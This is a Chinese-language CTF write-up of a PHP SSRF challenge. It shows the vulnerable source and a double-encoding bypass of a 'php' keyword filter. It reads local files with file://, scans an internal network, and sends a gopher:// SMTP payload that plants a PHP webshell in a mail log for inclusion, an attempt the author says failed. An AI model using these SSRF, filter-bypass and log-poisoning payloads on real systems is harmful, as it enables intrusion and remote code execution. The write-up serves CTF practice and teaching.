访问得到源码
<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
发现是使用php的curl
那估计是ssrf了,但是禁用了php
墨迹了一会找到了这么一个链接
https://bugs.php.net/bug.php?id=76671
出现的原因就是php的strpos对参数解码存在问题,所以可以绕过
然后就可以信息搜集了,使用file协议得到源码
view-source:http://101.71.29.5:10012/?x=file:///var/www/html/index.%2570hp
但是并没有什么用
访问
view-source:http://101.71.29.5:10012/?x=file:///var/www/html/flag.%2570hp
提示
<?php
//there is no flag /etc/hosts
访问
view-source:http://101.71.29.5:10012/?x=file:////etc/hosts
得到
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3 47e73bbfab79
内网的ip就出来了,然后就可以进行主机扫描了
得到一个172.18.0.2
然后访问
view-source:http://101.71.29.5:10012/?x=172.18.0.2
得到
<!-- include $_GET[a]; -->
可以文件包含,可是并没有得到其他的什么信息。
怀疑还有其他的坑,于是就继续测试,先扫描一下端口,发现25端口开放,访问一波
220 mail.web.com ESMTP Postfix (Ubuntu)
221 2.7.0 Error: I can break rules, too. Goodbye.
是个smtp协议
我们现在有的信息是smtp的一个应用,然后还有一个文件包含漏洞
查看配置文件
view-source:http://101.71.29.5:10012/?x=http://172.18.0.2?a=/etc/postfix/main.cf
view-source:http://101.71.29.5:10012/?x=http:%2f%2f172.18.0.2?a=/var/log/maillog
介绍一个神器
python gopherus.py --exploit smtp
http://www.webbaozi.com/sygj/104.html
通过gopher 协议打内网
使其产生日志,然后文件包含 getsll
gopher://127.0.0.1:25/_MAIL%20FROM:%3C%3Fphp%20%40eval%28system%28%24_GET%5Bb%5D%29%29%3B%3F%3E%0ARCPT%20To:asdf%0ADATA%0AFrom:%3C%3Fphp%20%40eval%28system%28%24_GET%5Bb%5D%29%29%3B%3F%3E%0ASubject:asdfgh%0AMessage:asdfghjkl%0A.
view-source:http://101.71.29.5:10012/?x=gopher://172.18.0.2:25/_MAIL%20FROM:%3C%3F%2570hp%20%40eval%28system%28%24_GET%5Bb%5D%29%29%3B%3F%3E%0ARCPT%20To:asdf%0ADATA%0AFrom:%3C%3F%2570hp%20%40eval%28system%28%24_GET%5Bb%5D%29%29%3B%3F%3E%0ASubject:asdfgh%0AMessage:asdfghjkl%0A.
view-source:http://101.71.29.5:10012/?x=http://172.18.0.2?a=%2570hp://filter/read=convert.base64-encode/resource=/var/log/mail.log
后来才知道,这是因为php编码出现问题了
所以题目没法做了
嗯嗯 尴尬了
不知道哪里的题目,出的还算综合,没有什么脑洞。